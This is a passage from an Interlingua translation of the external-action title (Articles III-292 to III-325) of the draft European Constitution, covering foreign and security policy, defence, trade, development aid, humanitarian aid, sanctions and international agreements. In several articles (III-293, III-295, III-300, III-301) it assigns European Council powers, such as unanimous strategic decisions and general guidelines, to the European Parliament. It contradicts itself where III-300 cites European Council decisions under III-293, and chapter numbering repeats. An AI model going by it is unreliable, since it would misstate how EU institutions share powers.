leges-quadro est adoptate post consultation del Parlamento Europeo.\nConstitution\/ra 229\nTITULO V\nLE ACTION EXTERIOR de la Union\nCAPITULO I\nDISPOSITIONES DE APPLICATION GENERAL\nARTICULO III-292\n1. Le action de la Union in le scena international se basa super le principios que ha inspirate su creation, su disveloppamento, et su ampliation, et que illo intende promover in le resto del mundo: le democratia, le stato de derecto, le universalitate et le indivisibilitate del derectos del homine et del libertates fundamental, le respecto del dignitate human, le principios de equalitate et de solidaritate, et le respecto del principios del Charta del Nationes Unite et del derecto international.\nLe Union se effortia de disveloppar relationes et de crear associationes con le tertie paises et con le organizationes international, regional aut mundial, que participa in le principios mentionate in le paragrapho 1. Illo favora solutiones multilateral pro le problemas commun, in particular in le quadro del Nationes Unite.\n2. la Union defini et executa politicas commun et actiones et se effortia pro assecurar un alte grado de cooperation in tote le dominios del relationes international a fin de:\na) salveguardar su valores, su interesses fundamental, su securitate, su independentia, et su integritate;\nConstitution\/ra 230\nb) consolidar et sustener le democratia, le Stato de derecto, le derectos del homine, et le principios del derecto international;\nc) preservar le pace, prevenir le conflictos, et reinfortiar le securitate international, in conformitate con le scopos et con le principios del Charta del Nationes Unite, assi como con le principios del Acto final de Helsinki, et con le objectivos del Charta de Paris, includite illos relative al frontieras exterior;\nd) favorar le disveloppamento durabile al nivello economic, social, et ambiental in le paises in disveloppamento, con le objectivo essential de eradicar le paupertate;\ne) incoragiar le integration de tote le paises in le economia mundial, includite per le suppression progressive del obstaculos al commercio international;\nf) contribuer al elaboration de mesuras international pro preservar et meliorar le qualitate del medio ambiente et le gestion durabile del ressources natural mundial, a fin de assecurar un disveloppamento durabile;\ng) adjutar le populationes, le paises, et le regiones confrontate a catastrophes natural aut de origine human; et\nh) promover un systema international basate super un cooperation multilateral reinfortiate et un bon governantia mundial.\n3. la Union respecta le principios et proseque le objectivos mentionate in le paragraphos 1 et 2 in le elaboration et le execution de su action exterior in le differente dominios tractate in le presente titulo, assi como de su altere politicas in lor aspectos exterior.\nConstitution\/ra 231\nLe Union respecta le coherentia inter le differente dominios de su action exterior, et inter istes et su altere politicas. Le Consilio et le Commission, assistite per le Ministro de Affaceres Exterior de la Union, assecura iste coherentia et coopera pro iste scopo.\nARTICULO III-293\n1. Super le base del principios et objectivos mentionate in le articulo III-292, le Parlamento Europeo determina le interesses et objectivos strategic de la Union.\nLe decisiones europeo del Parlamento Europeo re le interesses et objectivos strategic de la Union tracta del politica exterior et de securitate commun, assi como de altere dominios pertinente al action exterior de la Union. Illos pote concerner le relationes de la Union con un pais aut un region, aut haber un approche thematic. Illos defini lor duration et le medios que la Union et le Statos membros debe provider.\nLe Parlamento Europeo decide unanimemente per recommendation del Consilio que los ha adoptate secundo le modalitates previste pro cata dominio. Le decisiones europeo del Parlamento Europeo est executate secundo le proceduras mentionate per le Constitution.\n2. Le Ministro de Affaceres Exterior de la Union, pro le dominio del politica exterior et de securitate commun, et le Commission, pro le altere dominios del action exterior, pote presentar propositiones conjuncte al Consilio.\nConstitution\/ra 232\nCAPITULO II\nLE POLITICA EXTERIOR et DE SECURITATE COMMUN\nSECTION I\nDISPOSITIONES COMMUN\nARTICULO III-294\n1. In le quadro del principios et objectivos de su action exterior, la Union defini et executa un politica exterior et de securitate commun in tote le dominios del politica exterior et de securitate commun.\n2. Le Statos membros appoia activemente et sin reserva le politica exterior et de securitate commun in un spirito de loyalitate et de solidaritate mutual. Le Statos membros age insimul pro reinfortiar et disveloppar lor solidaritate politic mutual. Illos se abstine de tote action contrari al interesses de la Union aut que poterea nocer a su efficacia como fortia de cohesion in le relationes international. Le Consilio et le Ministro de Affaceres Exterior de la Union est attentive al respecto de iste principios.\n3. la Union face le politica exterior et de securitate commun:\na) per definir le orientationes general;\nConstitution\/ra 233\nb) per adoptar decisiones europeo que defini:\ni) le actiones que la Union debe interprender;\nii) le positiones que la Union debe adoptar;\niii) le modalitates del execution del decisiones europeo mentionate in le punctos i) et ii);\nc) et per reinfortiar le cooperation systematic inter le Statos membros pro le conducta de lor politica.\nARTICULO III-295\n1. Le Parlamento Europeo defini le orientationes general del politica exterior et de securitate commun, includite re le questiones que ha implicationes in materia de defensa.\nSi un disveloppamento lo exige, le Presidente del Consilio Europeo convoca un reunion extraordinari del Consilio Europeo a fin de definir le lineas strategic del politica de la Union ante iste disveloppamento.\n2. Le Consilio adopta le decisiones europeo necessari pro le definition et le application del politica exterior et de securitate commun, super le base del orientationes general et del lineas strategic definite per le Parlamento Europeo.\nConstitution\/ra 234\nARTICULO III-296\n1. Le Ministro de Affaceres Exterior de la Union, qui preside le Consilio de Affaceres Exterior, contribue con su propositiones al elaboration del politica exterior de securitate commun et assecura le elaboration del decisiones europeo adoptate per le Parlamento Europeo et le Consilio.\n2. Le Ministro de Affaceres Exterior representa la Union in materias representative pro le politica exterior et le securitate commun. Ille aut illa conduce in le nomine de la Union le dialogo politic con le tertie partes et exprime le position de la Union in le organizationes international et in le sino del conferentias international.\n3. In le execution de su mandato, le Ministro de Affaceres Exterior de la Union utilisa un servicio europeo pro action exterior. Iste servicio travalia in collaboration con le servicios diplomatic del Statos membros et est composito de functionarios del servicios competente del Secretariato General del Consilio et del Commission et de personal distachate ab le servicios diplomatic national. Le organization et le functionamento del Servicio europeo pro le action exterior de la Union est fixate per un decision europeo del Consilio. Le Consilio decide secundo un proposition del Ministro de Affaceres Exterior de la Union post consultation del Parlamento Europeo et approbation del Commission.\nARTICULO III-297\n1. Quando un situation international exige un action operational de la Union, le Consilio adopta le decisiones europeo necessari. Iste decisiones fixa le objectivos, le portata et le medios, que on debe poner al disposition de la Union et le conditiones relative al execution del action, et si necessari, su duration.\nConstitution\/ra 235\nSi se produce un cambiamento de circumstantias con un clar effecto super un question que est un objecto de un decision europeo, le Consilio revisa le principios et le objectivos de iste decision et adopta le decisiones europeo necessari.\n2. Le decisiones europeo mentionate in le paragrapho 1 ingagia le Statos membros in le adoption de lor position et in le conducta de lor action.\n3. Quandocunque il ha un plano pro adoptar un position national aut pro prender un action national in le application de un decision europeo mentionate in le paragrapho 1, le Stato membro concernite forni information in un tempore que permitte, si necessari, un concertation preliminar in le sino del Consilio. Le obligation de fornir information preliminar non se applica al mesuras que constitue un mer transposition national de iste decision.\n4. In caso de necessitate imperiose ligate al evolution del situation et si manca un revision del decision europeo mentionate in le paragrapho 1, le Statos membros pote prender le mesuras necessari de urgentia tenente conto del objectivos general de iste decision. Le Statos membros que adopta tal mesuras informa de illos immediatemente le Consilio.\n5. In caso de difficultates major relative al application de un decision europeo mentionate in le presente articulo, un Stato membro los submitte al Consilio qui los delibera et cerca solutiones appropriate. Iste solutiones non pote esser contrari al objectivos del action ni nocer a su efficacia.\nARTICULO III-298\nLe Consilio adopta decisiones europeo que defini le position de la Union re un question particular de natura geographic aut thematic. Le Statos membros velia le conformitate de lor politicas national con le positiones de la Union.\nConstitution\/ra 236\nARTICULO III-299\n1. Cata Stato membro, le Ministro de Affaceres Exterior de la Union, aut ille ministro con le appoio del commission, pote peter le attention del Consilio pro qualcunque question relative al politica exterior et al securitate commun et presentar a illo respectivemente initiativas et propositiones.\n2. In le casos que exige un decision rapide le Ministro de Affaceres Exterior de la Union convoca, sia de officio sia per le requesta de un Stato membro, un reunion extraordinari del Consilio, intra un termino de quaranta octo horas, aut in caso de emergentia, intra un termino plus breve.\nARTICULO III-300\n1. Le decisiones europeo mentionate in le presente capitulo est adoptate unanimemente per le Consilio. Qualcunque membro del Consilio que se abstine de un votation, pote qualificar su abstention per un declaration formal. In iste caso iste membro non est obligate a applicar le decision europeo, ma accepta que iste decision ingagia la Union. In un spirito de solidaritate mutual le Stato membro concernite se abstine de qualcunque action que pote contrastar aut impedir le action de la Union fundate super iste decision et le altere Statos membros respecta su position. Si le membros del Consilio qui motiva lor abstention de un tal declaration, representa al minus un tertio del Statos membros que totalisa al minus un tertio del population de la Union, le decision non est adoptate.\n2. Nonobstante lo que est disponite in paragrapho 1, le Consilio decide per majoritate qualificate:\nConstitution\/ra 237\na) quando illo adopta un decision europeo que defini un action aut un position de la Union super le base de un decision europeo del Consilio Europeo relative al interesses et objectivos strategic de la Union mentionate in le articulo III-293(1);\nb) quando illo adopta un decision europeo que defini un action aut un position de la Union per proposition del Ministro de Affaceres Exterior de la Union presentate sequente un requesta specific que le Consilio Europeo le ha adressate per proprie initiativa aut per initiativa del Ministro;\nc) quando illo adopta un decision europeo que actualisa un decision europeo que defini un action aut position de la Union;\nd) quando illo adopta un decision europeo re le nomination de un representante special conformemente con le articulo III-302. Si un membro del Consilio declara que, pro rationes de politica national vital que illo expone, illo ha le intention de opponer se al adoption de un decision europeo que debe esser adoptate per majoritate qualificate, le Consilio non procede al votation. Le Ministro de Affaceres Exterior de la Union cerca in stricte consultation con le Stato membro concernite, un solution acceptabile pro illo. In le absentia de un resultato, le Consilio decidente per majoritate qualificate, pote peter que le question est submittite al Consilio Europeo in vista de un decision europeo unanime.\n3. In conformitate con le articulo I-40(7), le Parlamento Europeo pote adoptar unanimemente un decision europeo que previde que le Consilio decide per majoritate qualificate in casos differente de illos mentionate in le paragrapho 2 del presente articulo.\nConstitution\/ra 238\n4. Le paragraphos 2 et 3 non se applica al decisiones habente implicationes militar aut in le dominio de defensa.\nARTICULO III-301\n1. Quando le Parlamento Europeo aut le Consilio ha definite un approche commun de la Union in le senso del articulo I-40(5), le Ministro de Affaceres Exterior de la Union et le Ministros de Affaceres Exterior del Statos membros coordina lor activitates intra le Consilio.\n2. Le missiones diplomatic del Statos membros et del delegationes de la Union in le tertie paises et presso le organizationes international coopera inter se et contribue al formulation et al realization del approche commun mentionate in le paragrapho 1.\nARTICULO III-302\nLe Consilio pote nominar, per le proposition del Ministro de Affaceres Exterior de la Union, un representante special a qui illo confere un mandato pro questiones politic specific. Le representante special exerce su mandato sub le autoritate del Ministro.\nARTICULO III-303\nLe Union pote concluder accordos con un aut plure Statos aut con organizationes international in dominios pertinente al presente capitulo.\nConstitution\/ra 239\nARTICULO III-304\n1. Le Ministro de Affaceres Exterior de la Union consulta et informa le Parlamento Europeo in conformitate con le articulo I-40(8) et con le articulo I-41(8). Ille velia que le opiniones del Parlamento Europeo est debitemente prendite in consideration. Le representantes special pote esser associate al information del Parlamento Europeo.\n2. Le Parlamento Europeo pote diriger questiones aut formular recommendationes al Consilio et al Ministro de Affaceres Exterior de la Union. Illo procede duo vices le anno a un debatto super le progressos realizate in le actualisation del politica exterior et del securitate commun, includite le politica de securitate et de defensa commun.\nARTICULO III-305\n1. Le Statos membros coordina lor proprie action in organizationes international et in conferentias international. In iste foros illos defende le positiones de la Union. Le Ministro de Affaceres Exterior de la Union assecura le organization de iste coordination. In le organizationes international et in le conferentias international in le quales tote le Statos membros non participa, illos que participa defende le positiones de la Union.\n2. In conformitate con le articulo I-16(2), le Statos membros representate in organizationes international aut in conferentias international in le quales tote le Statos membros non participa, tene iste ultimes, assi como le Ministro de Affaceres Exterior de la Union, informate de tote le questiones de interesse commun.\nConstitution\/ra 240\nLe Statos membros que est anque membros del Consilio de securitate del Nationes Unite se concerta et illos tene plenmente informate le altere Statos membros et le Ministro de Affaceres Exterior de la Union.\nLe Statos membros que est membros del Consilio de securitate defende, in le exercitio de lor functiones, le positiones et le interesses de la Union, sin prejudicio del responsabilitates que les incumbe in virtute del Charta del Nationes Unite.\nQuando la Union ha definite un position re un thema al ordine del die del Consilio de securitate del Nationes Unite, le Statos membros que participa in illo pete que le Ministro de Affaceres Exterior de la Union est invitate a presentar le position de la Union.\nARTICULO III-306\nLe missiones diplomatic et consular del Statos membros et le delegationes de la Union in le tertie paises et in le conferentias international, assi como lor representantes presso le organizationes international, coopera pro garantir le respecto et le execution del decisiones europeo que defini positiones et actiones de la Union adoptate in virtute del presente capitulo. Illos intensifica lor cooperation per intercambiar informationes et realizar evalutationes commun.\nIllos contribue al application del derecto de protection del citatanos europeo in le territorio del tertie paises, mentionate in le articulo I-10(2)(c), con le mesuras adoptate in application del articulo III-127.\nConstitution\/ra 241\nARTICULO III-307\n1. Sin prejudicio del articulo III-344, un Committato Politic et de Securitate seque le situation international in le dominios concernente le politica exterior et de securitate commun, et contribue al definition del politicas per emitter avisos dirigite al Consilio, per le requesta de iste aut del Ministro de Affaceres Exterior de la Union, aut per proprie initiativa. Le Committato Politic et de Securitate survelia equalmente le execution del politicas accordate, sin prejudicio del attributiones del Ministro de Affaceres Exterior de la Union.\n2. In le quadro del presente capitulo, le Committato Politic et de Securitate exerce, sub le responsabilitate del Consilio et del Ministro de Affaceres Exterior de la Union, le controlo politic et le direction strategic del operationes de gestion de crises mentionate in le articulo III-309. Le Consilio pote autorisar le Committato, pro le fines de un operation de gestion de crise et pro le periodo de duration de iste operation, como il est determinate per le Consilio, a prender le mesuras appropriate concernente le controlo politic et le direction strategic del operation.\nARTICULO III-308\nLe execution del politica exterior et del securitate commun non affecta le application del proceduras et le extension respective del attributiones del institutiones mentionate in la Constitution pro le exercitio del competentias de la Union mentionate in le articulos I-13 a I-15 et in le articulo I-17. De equal modo, le execution del politicas referite in iste articulos non affecta le application del proceduras et le extension respective del attributiones del institutiones mentionate in la Constitution pro le exercitio del competentias de la Union in virtute del presente capitulo.\nConstitution\/ra 242\nSECTION 2\nPOLITICA DE SECURITATE et DE DEFENSA COMMUN\nARTICULO III-309\n1. Le missiones mentionate in le articulo I-41(1), in le quales la Union pote haber recurso a medios civil et militar, include le actiones conjuncte relative al disarmamento, le missiones humanitari et de evacuation, le missiones de consilio et de assistentia militar, le missiones de prevention de conflictos et de mantenimento del pace, le missiones de fortias de combatto pro le gestion del crises, includite le missiones de restabilimento del pace et le operationes de stabilisation al fin del conflictos. Tote iste missiones pote contribuer al lucta contra le terrorismo, includite per le appoio prestate a tertie paises pro combatter le terrorismo in lor territorio.\n2. Le Consilio adopta decisiones europeo re missiones mentionate in le paragrapho 1, definiente lor objectivo et lor portata assi como le modalitates general de lor execution. Le Ministro de Affaceres Exterior de la Union, sub le autoritate del Consilio et in contacto stricte et permanente con le Committato Politic et de Securitate, survelia le coordination del aspectos civil et militar de iste missiones.\nARTICULO III-310\n1. In le quadro del decisiones europeo adoptate in conformitate con le articulo III-309, le Consilio pote confider le execution de un mission a un gruppo de Statos que lo desira et que dispone del capacitates necessari pro un tal mission. Iste Statos membros, in association con le ministro de Affaceres Exterior de la Union, se accorda inter se del gestion del mission.\nConstitution\/ra 243\n2. Le Statos membros que participa in le realization del mission informa periodicamente le Consilio del progresso del mission, per proprie initiativa aut per requesta de un altere Stato membro. Le Statos membros participante informa immediatemente le Consilio del question si le realization del mission genera consequentias importante aut si illos require un modification del objectivo, del portata aut del modalitate del mission fixate per le decisiones europeo mentionate in le paragrapho I. In iste caso, le Consilio adopta le decisiones europeo necessari.\nARTICULO III-311\n1. Le Agentia in le dominio del disveloppamento del capacitates de defensa, del investigation, del acquisitiones et del armamentos (Agentia Europeo de Defensa) instituite per le articulo I-41(3), sub le autoritate del Consilio, ha como mission:\na) contribuer a identificar le objectivos de capacitate militar del Statos membros et a evalutar le respecto del ingagiamentos de capacitates subscribite per le Statos membros;\nb) promover un harmonisation del necessitates operational et le adoption de methodos de acquisition efficace et compatibile;\nc) proponer projectos multilateral pro complir le objectivos de capacitates militar et pro coordinar le programmas executate per le Statos membros et le gestion de programmas de cooperation specific;\nd) appoiar le investigation re le technologia de defensa, coordinar et planificar activitates de investigation conjuncte et studios de solutiones technic respondente al necessitates operational futur;\nConstitution\/ra 244\ne) contribuer a identificar e, eventualmente, executar qualcunque mesura utile pro reinfortiar le base industrial et technologic del sector del defensa et pro meliorar le efficacia del dispensas militar.\n2. Le Agentia Europeo de Defensa est aperte a tote le Statos membros que desira participar in illo. Le Consilio, decidente per majoritate qualificate, adopta un decision europeo definiente le statuto, le sede et le modalitates de functionamento del Agentia. Iste decision tene conto del grado de participation effective in le activitates del Agentia. Intra illo est constituite gruppos specific, formate per le Statos membros, que realiza projectos conjuncte. In casos de necessitate le Agentia compli su missiones in contacto con le Commission.\nARTICULO III-312\nLe Statos membros que desira participar in le cooperation structurate permanente mentionate in le articulo I-41(6), et que compli le criterios et assume le ingagiamentos re le capacitates militar, como indicate in le Protocollo re le cooperation structurate permanente, notifica lor intention al Consilio et al Ministro de Affaceres Exterior de la Union\n2. Intra tres menses post le notification mentionate in le paragrapho 1, le Consilio adopta un decision europeo que stabili le cooperation structurate permanente et fixa le lista del Statos membros participante. Le Consilio decide per majoritate qualificate, post consultation del Ministro de Affaceres Exterior de la Union.\n3. Qualcunque Stato membro que, a un stadio ulterior, desira participar in le cooperation structurate permanente, notifica su intention al Consilio et al Ministro de Affaceres Exterior de la Union.\nConstitution\/ra 245\nLe Consilio adopta un decision europeo que confirma le participation del Stato membro concernite que compli le criterios et assume le ingagiamentos mentionate in le articulos 1 et 2 del protocollo re le cooperation structurate permanente. Le Consilio decide per majoritate qualificate, post consultation del Ministro de Affaceres Exterior de la Union.\nSolmente le membros del Consilio que representa le Statos membros participante, prende parte in le votation. Le majoritate qualificate se defini como essente equal a al minus 55% del membros del Consilio representante le Statos membros participante, que reuni al minus 65% del population de iste Statos. Un minoritate de blocada debe includer al minus le numero maxime de membros del Consilio representante plus de 35% del population del Statos membros participante, plus un membro; si si iste minoritate de blocada non existe, le majoritate qualificate est considerate como attingite\n4. Si un Stato membro participante non plus compli le criterios aut non plus pote assumer le ingagiamentos mentionate in le articulos 1 et 2 del protocollo re le cooperation structurate permanente, le Consilio pote adoptar un decision europeo suspendente le participation de iste Stato.\nLe Consilio decide per majoritate qualificate. Solmente le membros del Consilio que representa le Statos membros participante, prende parte in le votation, con exception del Stato membro concernite. Le majoritate qualificate se defini como essente equal a al minus 55% del membros del Consilio representante le Statos membros participante, que reuni al minus 65% del population de iste Statos. Un minoritate de blocada debe includer al minus le numero maxime de membros del Consilio representante plus de 35% del population del Statos membros participante, plus un membro; si iste minoritate de blocada non existe, le majoritate qualificate est considerate como attingite.\nConstitution\/ra 246\n5. Si un Stato membro participante desira quitar le cooperation structural permanente, illo notifica su decision al Consilio, que prende nota del facto que le participation del Stato membro concernite ha finite.\n6. Le decisiones europeo et le recommendationes del Consilio in le quadro del cooperation structural permanente, con le exception de illos mentionate in le paragraphos 2 a 5, est adoptate per unanimitate. Pro le fines del presente paragrapho, le unanimitate est constituite unicamente per le votos del representantes del Statos membros participante.\nSECTION 3\nDISPOSITIONES FINANCIARI\nARTICULO III-313\n1. Le dispensas administrative pro le application del presente capitulo est imponite al budget de la Union.\n2. Le dispensas operational del institutiones pro le application del presente capitulo est equalmente imponite al budget de la Union, con le exception del dispensas operational que ha implicationes militar aut est in le dominio del defensa, et in casos que le Consilio inanimemente decide alteremente.\nConstitution\/ra 247\nQuando un dispensa non est imponite al budget de la Union, illo est imponite al Statos membros secundo le clave del producto national brute, salvo si le Consilio decide alteremente. Quanto al dispensas pro operationes que ha implicationes militar aut est in le dominio del defensa, le Statos membros cuje representantes al Consilio ha facite un declaration formal in virtute del secunde parte del articulo III-300(1), non est obligate a contribuer a lor financiamento.\n3. Le Consilio adopta un decision europeo que stabili le proceduras particular pro garantir le accesso rapide al creditos del budget de la Union destinate al financiamento de urgentia pro initiativas in le quadro del politica exterior et de securitate commun, et in particular al activitates preparatori de un mission mentionate in le articulo I-41(1) et in le articulo III-309. Le Consilio decide post consultation del Parlamento Europeo.\nLe activitates preparatori del missiones mentionate in le articulo I-41(1) et in le articulo III-309, que non est imponite al budget de la Union, est financiate per un fundo initial, constituite de contributiones del Statos membros.\nLe Consilio adopta, per majoritate qualificate et per proposition del Ministro de Affaceres Exterior de la Union, le decisiones europeo stabiliente:\na) le modalitates del institution et del financiamento del fundo initial, in particular le amontas financiari assignate al fundo.\nb) le modalitates de gestion del fundo initial;\nc) le modalitates de controlo financiari.\nConstitution\/ra 248\nQuando le mission previste, conformemente con le articulo I-41(1) et le articulo III-309, non pote esser imponite al budget de la Union, le Consilio autorisa le Ministro de Affaceres Exterior de la Union a utilisar iste fundo. Le Ministro de Affaceres Exterior de la Union informa le Consilio re le execution de iste mandato.\nCAPITULO III\nPOLITICA COMMERCIAL COMMUN\nARTICULO III-314\nPer le stabilimento de un union doanal conforme con le articulo III-151, la Union contribue, in le interesse commun, al disveloppamento harmonic del commercio mundial, al suppression progressive del restrictiones del commercio international et del investimentos exterior directe assi como a un reduction del barrieras doanal et de altere dispositiones.\nARTICULO III-315\n1. Le politica commercial commun est fundate super principios uniforme, particularmente concernente le modificationes tarifari, le conclusion de accordos tarifari et commercial concernente le intercambios de mercantias et le servicios et le aspectos commercial del proprietate intellectual, le investimentos estranier directe, le uniformitate del dispositiones de liberalisation, le politica de exportation et le dispositiones de defensa commercial, includite le dispositiones contra le dumping et le subventiones. Le politica commercial commun est facite in le quadro del principios et objectivos del action exterior de la Union.\nConstitution\/ra 249\n2. Le lege europeo stabili mesuras que defini le quadro de application del politica commercial commun.\n3. Si accordos, con un aut plure tertie paises aut organizationes international, debe esser negotiate et concludite, le articulo III-325 est applicabile, salvo si dispositiones particular in le presente articulo prescribe alteremente.\nLe Commission presenta recommendationes al Consilio et le Consilio autorisa le Commission a initiar le negotios necessari. Le Consilio et le Commission velia que le accordos negotiate est compatibile con le politica interne et le regulas interne de la Union.\nLe Commission face iste negotios in consultation con un Committato special que est designate per le Consilio pro assister le Commission in iste carga, et in le quadro del directivas que le Consilio pote diriger a illo. Le Commission reporta regularmente al Committato special et al Parlamento Europeo re le situation del negotiationes.\n4. Pro le negotiationes et le conclusion del accordos mentionate in le paragrapho 3, le Consilio decide per majoritate qualificate.\nPro le negotiationes et conclusion de un accordo in le dominios del commercio de servicios et aspectos commercial del proprietate intellectual, assi como del investimentos estranier directe, le Consilio decide per unanimitate, quando iste accordo include dispositiones pro le quales le unanimitate est requirite pro le adoption de regulas interne.\nLe Consilio decide equalmente per unanimitate pro le negotiation et le conclusion de accordos:\na) in le dominio del commercio del servicios cultural et audiovisual, quando iste accordos risca influentiar negativemente le diversitate cultural et linguistic de la Union.\nConstitution\/ra 250\nb) in le dominio del commercio del servicios social, de education et de sanitate public, quando iste accordos risca perturbar gravemente le organization de iste servicios al nivello national et influentiar negativemente le responsabilitate del Statos membros a fornir iste servicios.\n5. Le negotiationes et le conclusion de accordos international in le dominio del transportos est submittite al Titulo III, Capitulo III, Section 7 et al Articulo III-325.\n6. Le exercitio del competentias attribuite per le presente articulo in le dominio del politica commercial commun non affecta le delimitation del competentias inter la Union et le Statos membros, et non causa un harmonisation del dispositiones legislative aut regulamentari in le mesura que la Constitution exclude un tal harmonisation.\nCAPITULO IV\nCOOPERATION CON TERTIE PAISES et ADJUTA HUMANITARI\nSECTION 1\nCOOPERATION DE DISVELOPPAMENTO\nARTICULO III-316\n1. Le politica de la Union in le dominio del cooperation pro le disveloppamento est facite in le quadro del principios et objectivos del action exterior de la Union. Le politica de la Union et del Statos membros pro le cooperation de disveloppamento se completa et se reinfortia mutualmente.\nConstitution\/ra 251\nLe objectivo principal del politica de la Union in iste dominio est le reduction, et finalmente le eradication del povressa. la Union tene conto del objectivos del cooperation pro le disveloppamento in le effectuation del politicas que pote affectar le paises in disveloppamento.\n2. la Union et le Statos membros respecta le ingagiamentos et tene conto del objectivos que illos ha acceptate in le quadro del Nationes Unite et del altere competente organizationes international.\nARTICULO III-317\n1. Le lege aut lege-quadro europeo stabili le mesuras necessari pro le execution del politica de cooperation pro le disveloppamento que est relative al programmas pluriannual de cooperation con paises in disveloppamento aut programmas que ha un approche thematic.\n2. la Union pote concluder con le tertie paises et le organizationes international competente qualcunque accordo, que est utile pro le realization del objectivos mentionate in le articulos III-292 et III-316.\nLe paragrapho 1 non influe super le competentia del Statos membros in negotiar in le organos international et concluder accordos.\nLe Banca Europeo de Investimentos contribue, secundo le conditiones mentionate in su statuto, al execution del mesuras mentionate in le paragrapho 1.\nConstitution\/ra 252\nARTICULO III-318\n1. Pro favorar le complementaritate et le efficacia de lor actiones, la Union et le Statos membros coordina lor politicas in materia de cooperation pro le disveloppamento et se concerta re lor programmas de adjuta, includite in le organizationes international, et durante le conferentias international. Illos pote interprender actiones conjuncte. Le Statos membros contribue, si necessari, al execution del programmas de adjuta de la Union.\n2. Le Commission pote prender qualcunque initiativa utile pro promover le coordination mentionate in le paragrapho 1.\n3. In le quadro de lor competentias respective, la Union et le Statos membros coopera con le tertie paises et le organizationes international competente.\nCAPITULO IV\nCOOPERATION ECONOMIC, FINANCIARI, et TECHNIC CON LE TERTIE PAISES\nARTICULO III-319\n1. Sin prejudicio del altere dispositiones del Constitution, et in particular del articulos III-316 a III-318, la Union face actiones de cooperation economic, financiari, et technic, includite de assistentia specialmente in le dominio financiari, con tertie paises altere que le paises in disveloppamento. Iste actiones est coherente con le politica de disveloppamento de la Union et est facite in le quadro del principios et objectivos de su action exterior. Le actiones de la Union et del Statos membros se completa et se reinfortia mutualmente.\nConstitution\/ra 253\n2. Le lege aut lege-quadro europeo stabili le mesuras necessari pro le application del paragrapho 1.\n3. In le quadro de lor competentias respective, la Union et le Statos membros coopera con le tertie paises et le organizationes international competente. Le modalitates del cooperation de la Union pote esser le objecto de accordos inter illo et le tertie partes concernite. Le prime subparagrapho non prejudica le competentia del Statos membros pro negotiar in le foros international et concluder accordos.\nARTICULO III-320\nQuando le situation in un tertie pais require un assistentia financiari urgente, le Consilio, per proposition del Commission, adopta le decisiones europeo necessari.\nConstitution\/ra 254\nSECTION 3\nADJUTA HUMANITARI\nARTICULO III-321\n1. Le actiones de la Union in le dominio del adjuta humanitari est facite in le quadro del principios et objectivos del action exterior de la Union. Iste actiones intende, in modo punctual, prestar assistentia et succurso al populationes del tertie paises, victimas de catastrophes natural aut de origine human, et proteger los, pro facer fronte al necessitates humanitari resultante de iste differente situationes. Le actiones de la Union et del Statos membros se completa et se reinfortia mutualmente.\n2. Le actiones de adjuta humanitari est conducite conformemente con le principios del derecto international et al principios de impartialitate, neutralitate, et non-discrimination.\n3. Le lege aut lege-quadro europeo stabili le mesuras que defini le quadro in le qual est executate le actiones de adjuta humanitari de la Union.\n4. la Union pote concluder con le tertie paises et le organizationes international competente qualcunque accordo utile pro le realization del objectivos mentionate in le paragrapho 1 et in le articulo III-292. Le prime subparagrapho non prejudica le competentia del Statos membros pro negotiar in le instantias international et concluder accordos.\nConstitution\/ra 255\n5. A fin de stabilir un quadro pro contributiones commun del juvene Europeos al actiones de adjuta humanitari de la Union, un Corpore voluntari europeo de adjuta humanitari est create. Le lege europeo fixa su statuto et le modalitates de su functionamento.\n6. Le Commission pote prender qualcunque initiativa utile pro promover le coordination inter le actiones de la Union et illos del Statos membros, pro reinfortiar le efficacia et le complementaritate del dispositivos de la Union et del dispositivos national de adjuta humanitari.\n7. la Union velia que su actiones de adjuta humanitari est coordinate et coherente con illos del organizationes et organismos international, in particular le actiones de adjuta que est parte del systema del Nationes Unite.\nCAPITULO V\nMESURAS RESTRICTIVE\nARTICULO III-322\n1. Quando un decision europeo, adoptate in conformitate con le capitulo II, previde le interruption aut le reduction, total aut partial, del relationes economic et financiari con un aut plure tertie paises, le Consilio, decidente per majoritate qualificate, per proposition conjuncte del Ministro de Affaceres Exterior de la Union et del Commission, adopta le regulamentos et decisiones europeo necessari. Illo informa de isto le Parlamento Europeo.\nConstitution\/ra 256\n2. Quando un decision europeo, adoptate in conformitate con le capitulo II, lo previde, le Consilio pote, secundo le procedura mentionate in le paragrapho 1, adoptar mesuras restrictive contra personas physic aut juridic, gruppos aut entitates non-statal.\n3. Le actos mentionate in le presente articulo contine le dispositiones necessari in materia de garantias juridic.\nCAPITULO VI\nACCORDOS INTERNATIONAL\nARTICULO III-323\n1. la Union pote concluder un accordo con un aut plure tertie paises aut organizationes international quando la Constitution lo previde aut quando le conclusion de un accordo, sia est necessari pro realizar, in le quadro del politicas de la Union, un del objectivos mentionate in le Constitution, sia est mentionate in un acto juridic constringente de la Union, sia ancora pote affectar regulas commun aut alterar lor portata.\n2. Le accordos concludite per la Union liga le institutiones de la Union et le Statos membros.\nConstitution\/ra 257\nARTICULO III-324\nLe Union pote concluder un accordo de association con un aut plure tertie paises aut un aut plure organizationes pro crear un association characterisate per derectos et obligationes reciproc, actiones commun et proceduras particular.\nARTICULO III-325\n1. Sin prejudicio del dispositiones particular in le articulo III-315 le accordos inter la Union et tertie paises aut organizationes international est negotiate et concludite secundo le procedura sequente.\n2. Le Consilio autorisa le apertura del negotiationes, defini le directivas de negotiation, autorisa le signatura, et conclude le accordos.\n3. Le Commission - aut le Ministro de Affaceres Exterior de la Union, quando le accordo exclusivemente aut principalmente concerne le politica commun exterior et de securitate - presenta recommendationes al Consilio, que adopta un decision europeo autorisante le apertura del negotiationes e, dependente del subjecto del accordo previdite, nomina le negotiator de la Union aut le chef del equipa de negotiation de la Union.\n4. Le Consilio pote dar directivas al negotiator et designar un Committato special que debe esser consultate durante le negotiationes.\n5. Le Consilio adopta, per proposition del negotiator, un decision europeo que autorisa le signatura del accordo, e, in caso de necessitate, su application provisori ante le entrata in vigor.\nConstitution\/ra 258\n6. Le Consilio adopta, per proposition del negotiator, un decision europeo de conclusion del accordo.\nCon exception de accordos que exclusivemente concerne le politica commun exterior et de securitate, le Consilio adopta le decision europeo de conclusion del accordo:\na) post approbation per le Parlamento Europeo in le casos sequente:\ni) accordos de association;\nii) adhesion de la Union al Convention Europeo pro protection del derectos human et del libertates fundamental;\niii) accordos que stabili un quadro institutional specific per organizar proceduras de cooperation;\niv) accordos con considerabile implicationes budgetari pro la Union;\nv) accordos coperiente dominios al quales se applica le procedura legislative ordinari, aut - si le approbation del Parlamento Europeo est requirite - le procedura legislative special.\nLe Parlamento Europeo et le Consilio pote in casos urgente concordar un termino pro le approbation;\nb) post consultation del Parlamento Europeo in le altere casos. Le Parlamento Europeo pronuncia 